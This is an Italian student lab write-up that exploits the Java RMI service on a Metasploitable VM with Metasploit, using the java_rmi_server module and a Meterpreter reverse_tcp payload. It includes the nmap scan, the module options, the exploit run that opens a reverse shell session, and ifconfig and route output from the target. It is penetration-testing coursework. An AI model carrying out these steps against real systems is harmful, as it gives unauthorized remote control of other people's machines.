

Settimana 7 - Esercizio 5

Alessio Golfetto 26/01/2024

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:

- 1) configurazione di rete.
- 2) informazioni sulla tabella di routing della macchina vittima.

Exploit

Cos'è e quali sono le differenze con un malware

Exploit: un exploit è attacco che sfrutta le vulnerabilità presenti in applicazioni, reti o hardware. Gli exploit sono spesso utilizzati da hacker o malintenzionati per compromettere la sicurezza di un sistema, ottenere accesso non autorizzato o causare danni.

Malware: il termine "malware" (malicious software) è utilizzato per descrivere software progettato per danneggiare o compromettere un computer o un sistema informatico senza il consenso dell'utente. Il malware può assumere diverse forme e svolgere una vasta gamma di attività dannose, ad esempio *virus*, *worm*, *ransomware*, *trojan*, *spyware* ecc.

Possiamo notare quindi che la differenza tra exploit e malware sta nel fatto che i primi sfruttano una vulnerabilità già presente in un sistema/rete/hardware/software, mentre i secondi hanno scopo di crearne una.

Scansione delle porte

- Come primo passaggio utilizziamo **nmap** e andiamo ad eseguire una scansione sulle porte della macchina target eseguendo il comando `nmap -sV 192.168.1.34` (-sV ci restituirà anche la versione del servizio che gira sulla determinata porta). La versione ci serve perché gli exploit funzionano su determinate versioni di applicazioni/servizi etc. Nel nostro caso il servizio e la porta che ci chiede di sfruttare l'esercizio è *java-rmi* sulla porta 1099.

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.34
Starting Nmap 7.92 ( https://nmap.org ) at 2024-01-26 09:38 CET
Nmap scan report for 192.168.1.34
Host is up (0.0013s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1324/tcp  open  bindshell      Metasploitable 100t shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs:

Service detection performed. Please report any incorrect results at https://nmap
Nmap done: 1 IP address (1 host up) scanned in 64.13 seconds
```

Metasploit e ricerca exploit

- A questo punto avviamo **Metasploit** da un terminale con il comando *msfconsole*. Metasploit è un framework open-source usato per il penetration testing e lo sviluppo di exploit. Fornisce una vasta gamma di exploit e numerosi vettori di attacco che si possono utilizzare contro diversi sistemi e tecnologie. Può essere utilizzato per creare ed automatizzare i propri exploit. Una volta avviato utilizziamo il comando per la ricerca *search java RMI* per ricercare gli exploit che possono tornarci utili nel nostro caso. Una volta ottenuto l'elenco degli exploit, si procede ad una prima analisi in cui scartiamo quelli che a noi sicuramente non serviranno (esempio: se dobbiamo attaccare una macchina windows scarteremo tutti quelli che si riferiscono a Linux e viceversa), i rimanenti andranno poi testati uno ad uno per verificare quale funzioni e quale no. Noi abbiamo selezionato il numero 4 che funziona e sfrutta la nostra vulnerabilità.

```
msf6 > search java RMI
Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
3	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
4	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
5	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
6	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMI ConnectionImpl Deserialization Privilege Escalation

Scelta payload e settare le opzioni

- Individuato l'exploit da utilizzare lo selezioniamo con il comando *use*. Per utilizzare nella pratica un exploit, serve un payload. Nella sicurezza informatica e dei test di penetrazione, il termine "payload" si riferisce specificamente a un insieme di istruzioni o codice che viene eseguito da un software dannoso o da un exploit dopo che questo ha sfruttato con successo una vulnerabilità del sistema. Ora possiamo scegliere se utilizzare il payload che metasploit ci consiglia, oppure sceglierne un altro che si adatti alle nostre necessità con il comando *show payloads*. Noi utilizziamo quello proposto da metasploit e utilizziamo il comando *show options* per vedere quali parametri sono necessari per lanciare il nostro exploit (nel nostro caso manca solo il parametro RHOSTS perché nella colonna "Required" è riportata la scritta YES).

```
msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ---      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the
  RHOSTS    127.0.0.1       yes       The target host(s), see https://github.com
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to li
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert   gistry          no        Path to a custom SSL certificate (default
  URIPATH   gistry          no        The URI to use for this exploit (default

msf6 >
```

- Andiamo quindi a settare il nostro ip target come hosts con il comando `set rhosts 192.168.1.34`. Dopodiché rilanciamo il comando `show options` per controllare che le modifiche siano state salvate.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.1.34
rhosts => 192.168.1.34
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.1.34	yes	The target host(s), see https://github.com/rapid7/metasploit/wiki/Using-Metasploit
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.1.118	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Lanciare exploit e verifica buona riuscita

- Verificato che i parametri richiesti siano stati inseriti correttamente e salvati andremo a lanciare l'attacco con il comando *exploit*. Al termine ci restituirà una linea dove ci confermerà che la nostra sessione di meterpreter è stata iniziata con successo. Meterpreter è un payload con molte funzionalità, e molto utile agli scopi di un penetration testing. Meterpreter è una shell molto potente che gira su applicazioni e servizi vulnerabili di diverse tecnologie e sistemi operativi. Le sue funzionalità avanzate consentono movimenti laterali per entrare sempre più nei sistemi, fino ad ottenere accesso completo alle rete obiettivo.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.1.118:4444
[*] 192.168.1.34:1099 - Using URL: http://192.168.1.118:8080/ApmINbI
[*] 192.168.1.34:1099 - Server started.
[*] 192.168.1.34:1099 - Sending RMI Header ...
[*] 192.168.1.34:1099 - Sending RMI Call ...
[*] 192.168.1.34:1099 - Replied to request for payload JAR
[*] Sending stage (50000 bytes) to 192.168.1.34
[*] Meterpreter session 1 opened (192.168.1.118:4444 → 192.168.1.34:32859) at 2024
```


Ricerca configurazione rete e info tabella routing della macchina target

- Ottenuta la sessione di meterpreter possiamo andare tramite il comando *ifconfig* a verificare quale sia la configurazione di rete della macchina target (possiamo utilizzarlo anche come conferma di sessione andata a buon fine) ed il comando *route* per vedere le informazioni della tabella di routing della macchina vittima.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.1.34
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::1844:a4ff:feff:11bb
IPv6 Netmask : ::
```

```
meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.1.34 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            lo
fe80::1844:a4ff:feff:11bb ::           ::           0            eth0
```

Fine